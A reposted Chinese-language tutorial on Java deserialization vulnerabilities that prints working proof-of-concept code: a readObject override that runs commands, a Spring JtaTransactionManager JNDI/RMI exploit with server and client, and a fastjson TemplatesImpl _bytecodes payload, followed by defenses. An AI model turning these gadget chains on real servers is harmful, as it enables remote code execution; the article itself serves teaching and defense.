深入剖析 Java 反序列化漏洞
本文轉(zhuǎn)載自微信公眾號「Java極客技術」,作者鴨血粉絲Tang 。轉(zhuǎn)載本文請聯(lián)系Java極客技術公眾號。
一、背景
在上篇文章中,小編有詳細的介紹了序列化和反序列化的玩法,以及一些常見的坑點。
但是,高端的玩家往往不會僅限于此,熟悉接口開發(fā)的同學一定知道,能將數(shù)據(jù)對象很輕松的實現(xiàn)多平臺之間的通信、對象持久化存儲,序列化和反序列化是一種非常有效的手段,例如如下應用場景,對象必須 100% 實現(xiàn)序列化。
- DUBBO:對象傳輸必須要實現(xiàn)序列化
- RMI:Java 的一組擁護開發(fā)分布式應用程序 API,實現(xiàn)了不同操作系統(tǒng)之間程序的方法調(diào)用,RMI 的傳輸 100% 基于反序列化,Java RMI 的默認端口是 1099 端口
而在反序列化的背后,卻隱藏了很多不為人知的秘密!
最為出名的大概應該是:15年的 Apache Commons Collections 反序列化遠程命令執(zhí)行漏洞,當初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟件,直接在互聯(lián)網(wǎng)行業(yè)掀起了一陣颶風。
2016 年 Spring RMI 反序列化爆出漏洞,攻擊者可以通過 JtaTransactionManager 這個類,來遠程執(zhí)行惡意代碼。
2017 年 4月15 日,Jackson 框架被發(fā)現(xiàn)存在一個反序列化代碼執(zhí)行漏洞。該漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通過該漏洞,攻擊者可以遠程在服務器主機上越權執(zhí)行任意代碼,從而取得該網(wǎng)站服務器的控制權。
還有 fastjson,一款 java 編寫的高性能功能非常完善的 JSON 庫,應用范圍非常廣,在 2017 年,fastjson 官方主動爆出 fastjson 在1.2.24及之前版本存在遠程代碼執(zhí)行高危安全漏洞。攻擊者可以通過此漏洞遠程執(zhí)行惡意代碼來入侵服務器。
Java 十分受開發(fā)者喜愛的一點,就是其擁有完善的第三方類庫,和滿足各種需求的框架。但正因為很多第三方類庫引用廣泛,如果其中某些組件出現(xiàn)安全問題,或者在數(shù)據(jù)校驗入口就沒有把關好,那么受影響范圍將極為廣泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。
那么問題來了,攻擊者是如何精心構造反序列化對象并執(zhí)行惡意代碼的呢?
二、漏洞分析
2.1、漏洞基本原理
我們先看一段代碼如下:
- public class DemoSerializable {
- public static void main(String[] args) throws Exception {
- //定義myObj對象
- MyObject myObj = new MyObject();
- myObj.name = "hello world";
- //創(chuàng)建一個包含對象進行反序列化信息的”object”數(shù)據(jù)文件
- FileOutputStream fos = new FileOutputStream("object");
- ObjectOutputStream os = new ObjectOutputStream(fos);
- //writeObject()方法將myObj對象寫入object文件
- os.writeObject(myObj);
- os.close();
- //從文件中反序列化obj對象
- FileInputStream fis = new FileInputStream("object");
- ObjectInputStream ois = new ObjectInputStream(fis);
- //恢復對象
- MyObject objectFromDisk = (MyObject)ois.readObject();
- System.out.println(objectFromDisk.name);
- ois.close();
- }
- }
- class MyObject implements Serializable {
- /**
- * 任意屬性
- */
- public String name;
- //重寫readObject()方法
- private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
- //執(zhí)行默認的readObject()方法
- in.defaultReadObject();
- //執(zhí)行指定程序
- Runtime.getRuntime().exec("open https://www.baidu.com/");
- }
- }
運行程序之后,控制臺會輸出hello world,同時也會打開網(wǎng)頁跳轉(zhuǎn)到https://www.baidu.com/。
從這段邏輯中分析,我們可以很清晰的看到反序列化已經(jīng)成功了,但是程序又偷偷的執(zhí)行了一段如下代碼。
- Runtime.getRuntime().exec("open https://www.baidu.com/");
我們可以再把這段代碼改造一下,內(nèi)容如下:
- //mac系統(tǒng),執(zhí)行打開計算器程序命令
- Runtime.getRuntime().exec("open /Applications/Calculator.app/");
- //windows系統(tǒng),執(zhí)行打開計算器程序命令
- Runtime.getRuntime().exec("calc.exe");
運行程序后,可以很輕松的打開電腦中已有的任意程序。
很多人可能不知道,這里的readObject()是可以重寫的,只是Serializable接口沒有顯示的把它展示出來,readObject()方法的作用是從一個源輸入流中讀取字節(jié)序列,再把它們反序列化為一個對象,并將其返回,以定制反序列化的一些行為。
可能有的同學會說,實際開發(fā)過程中,不會有人這么去重寫readObject()方法,當然不會,但是實際情況也不會太差。
2.2、Spring 框架的反序列化漏洞
以當時的 Spring 框架爆出的反序列化漏洞為例,請看當時的示例代碼。
首先創(chuàng)建一個 server 代碼:
- public class ExploitableServer {
- public static void main(String[] args) {
- try {
- //創(chuàng)建socket
- ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
- System.out.println("Server started on port "+serverSocket.getLocalPort());
- while(true) {
- //等待鏈接
- Socket socket=serverSocket.accept();
- System.out.println("Connection received from "+socket.getInetAddress());
- ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
- try {
- //讀取對象
- Object object = objectInputStream.readObject();
- System.out.println("Read object "+object);
- } catch(Exception e) {
- System.out.println("Exception caught while reading object");
- e.printStackTrace();
- }
- }
- } catch(Exception e) {
- e.printStackTrace();
- }
- }
- }
然后創(chuàng)建一個 client 代碼:
- public class ExploitClient {
- public static void main(String[] args) {
- try {
- String serverAddress = "127.0.0.1";
- int port = Integer.parseInt("1234");
- String localAddress= "127.0.0.1";
- System.out.println("Starting HTTP server"); //開啟8080端口服務
- HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
- httpServer.createContext("/",new HttpFileHandler());
- httpServer.setExecutor(null);
- httpServer.start();
- System.out.println("Creating RMI Registry"); //綁定RMI服務到 1099端口 Object 提供惡意類的RMI服務
- Registry registry = LocateRegistry.createRegistry(1099);
- /*
- java為了將object對象存儲在Naming或者Directory服務下,
- 提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下,
- 比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中,
- 當被調(diào)用的時候,對象的方法就會被觸發(fā)。理解了jndi和jndi reference后,
- 就可以理解jndi注入產(chǎn)生的原因了。
- */ //綁定本地的惡意類到1099端口
- Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
- ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
- registry.bind("Object", referenceWrapper);
- System.out.println("Connecting to server "+serverAddress+":"+port); //連接服務器1234端口
- Socket socket=new Socket(serverAddress,port);
- System.out.println("Connected to server");
- String jndiAddress = "rmi://"+localAddress+":1099/Object";
- //JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠程加載惡意類
- //lookup方法會實例化惡意類,導致執(zhí)行惡意類無參的構造方法
- org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
- object.setUserTransactionName(jndiAddress);
- //上面就是poc,下面是將object序列化發(fā)送給服務器,服務器訪問惡意類
- System.out.println("Sending object to server...");
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
- objectOutputStream.writeObject(object);
- objectOutputStream.flush();
- while(true) {
- Thread.sleep(1000);
- }
- } catch(Exception e) {
- e.printStackTrace();
- }
- }
- }
最后,創(chuàng)建一個ExportObject需要遠程下載的類:
- public class ExportObject {
- public static String exec(String cmd) throws Exception {
- String sb = "";
- BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
- BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
- String lineStr;
- while ((lineStr = inBr.readLine()) != null)
- sb += lineStr + "\n";
- inBr.close();
- in.close();
- return sb;
- }
- public ExportObject() throws Exception {
- String cmd="open /Applications/Calculator.app/";
- throw new Exception(exec(cmd));
- }
- }
先開啟 server,再運行 client 后,計算器會直接被打開!
究其原因,主要是這個類JtaTransactionManager類存在問題,最終導致了漏洞的實現(xiàn)。
打開源碼,翻到最下面,可以很清晰的看到JtaTransactionManager類重寫了readObject方法。
重點就是這個方法initUserTransactionAndTransactionManager(),里面會轉(zhuǎn)調(diào)用到JndiTemplate的lookup()方法。
可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。
也就是說,通過JtaTransactionManager類的setUserTransactionName()方法執(zhí)行,最終指向了rmi://127.0.0.1:1099/Object,導致服務執(zhí)行了惡意類的遠程代碼。
2.3、FASTJSON 框架的反序列化漏洞分析
我們先來看一個簡單的例子,程序代碼如下:
- import com.sun.org.apache.xalan.internal.xsltc.DOM;
- import com.sun.org.apache.xalan.internal.xsltc.TransletException;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
- import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
- import java.io.IOException;
- public class Test extends AbstractTranslet {
- public Test() throws IOException {
- Runtime.getRuntime().exec("open /Applications/Calculator.app/");
- }
- public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
- }
- @Override
- public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
- }
- public static void main(String[] args) throws Exception {
- Test t = new Test();
- }
- }
運行程序之后,同樣的直接會打開電腦中的計算器。
惡意代碼植入的核心就是在對象初始化階段,直接會調(diào)用Runtime.getRuntime().exec("open /Applications/Calculator.app/")這個方法,通過運行時操作類直接執(zhí)行惡意代碼。
我們在來看看下面這個例子:
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.parser.Feature;
- import com.alibaba.fastjson.parser.ParserConfig;
- import org.apache.commons.io.IOUtils;
- import org.apache.commons.codec.binary.Base64;
- import java.io.ByteArrayOutputStream;
- import java.io.File;
- import java.io.FileInputStream;
- import java.io.IOException;
- public class POC {
- public static String readClass(String cls){
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
- try {
- IOUtils.copy(new FileInputStream(new File(cls)), bos);
- } catch (IOException e) {
- e.printStackTrace();
- }
- return Base64.encodeBase64String(bos.toByteArray());
- }
- public static void test_autoTypeDeny() throws Exception {
- ParserConfig config = new ParserConfig();
- final String fileSeparator = System.getProperty("file.separator");
- final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
- String evilCode = readClass(evilClassPath);
- final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
- String text1 = "{\"@type\":\"" + NASTY_CLASS +
- "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
- "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
- System.out.println(text1);
- Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
- //assertEquals(Model.class, obj.getClass());
- }
- public static void main(String args[]){
- try {
- test_autoTypeDeny();
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
在這個程序驗證代碼中,最核心的部分是_bytecodes,它是要執(zhí)行的代碼,@type是指定的解析類,fastjson會根據(jù)指定類去反序列化得到該類的實例,在默認情況下,fastjson只會反序列化公開的屬性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes字段才會被反序列化。
_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,所以是設置不了的,只能依賴于jdk的實現(xiàn),某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。
如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本會執(zhí)行成功,如果是高版本的,可能會報錯!
詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/
Jackson 的反序列化漏洞也與之類似。
三、如何防范
從上面的案例看,java 的序列化和反序列化,單獨使用的并沒有啥毛病,核心問題也都不是反序列化,但都是因為反序列化導致了惡意代碼被執(zhí)行了,尤其是兩個看似安全的組件,如果在同一系統(tǒng)中交叉使用,也能會帶來一定安全問題。
3.1、禁止 JVM 執(zhí)行外部命令 Runtime.exec
從上面的代碼中,我們不難發(fā)現(xiàn),惡意代碼最終都是通過Runtime.exec這個方法得到執(zhí)行,因此我們可以從 JVM 層面禁止外部命令的執(zhí)行。
通過擴展 SecurityManager 可以實現(xiàn):
- public class SecurityManagerTest {
- public static void main(String[] args) {
- SecurityManager originalSecurityManager = System.getSecurityManager();
- if (originalSecurityManager == null) {
- // 創(chuàng)建自己的SecurityManager
- SecurityManager sm = new SecurityManager() {
- private void check(Permission perm) {
- // 禁止exec
- if (perm instanceof java.io.FilePermission) {
- String actions = perm.getActions();
- if (actions != null && actions.contains("execute")) {
- throw new SecurityException("execute denied!");
- }
- }
- // 禁止設置新的SecurityManager,保護自己
- if (perm instanceof java.lang.RuntimePermission) {
- String name = perm.getName();
- if (name != null && name.contains("setSecurityManager")) {
- throw new SecurityException("System.setSecurityManager denied!");
- }
- }
- }
- @Override
- public void checkPermission(Permission perm) {
- check(perm);
- }
- @Override
- public void checkPermission(Permission perm, Object context) {
- check(perm);
- }
- };
- System.setSecurityManager(sm);
- }
- }
- }
只要在 Java 代碼里簡單加上面那一段,就可以禁止執(zhí)行外部程序了,但是并非禁止外部程序執(zhí)行,Java 程序就安全了,有時候可能適得其反,因為執(zhí)行權限被控制太苛刻了,不見得是個好事,我們還得想其他招數(shù)。
3.2、增加多層數(shù)據(jù)校驗
比較有效的辦法是,當我們把接口參數(shù)暴露出去之后,服務端要及時做好數(shù)據(jù)參數(shù)的驗證,尤其是那種帶有http、https、rmi等這種類型的參數(shù)過濾驗證,可以進一步降低服務的風險。
四、小結
隨著 Json 數(shù)據(jù)交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但陸續(xù)爆出的Jackson和Fastjson兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。
所以我們在日常業(yè)務開發(fā)的時候,對于 Java 反序列化的安全問題應該具備一定的防范意識,并著重注意傳入數(shù)據(jù)的校驗、服務器權限和相關日志的檢查, API 權限控制,通過 HTTPS 加密傳輸數(shù)據(jù)等方面進行下功夫,以免造成不必要的損失!
五、參考
1、seebug - 深入理解 JAVA 反序列化漏洞
2、博客圓 - Afant1- Spring framework 反序列化的漏洞
3、技術博客- FASTJSON 遠程反序列化程序驗證的構造和分析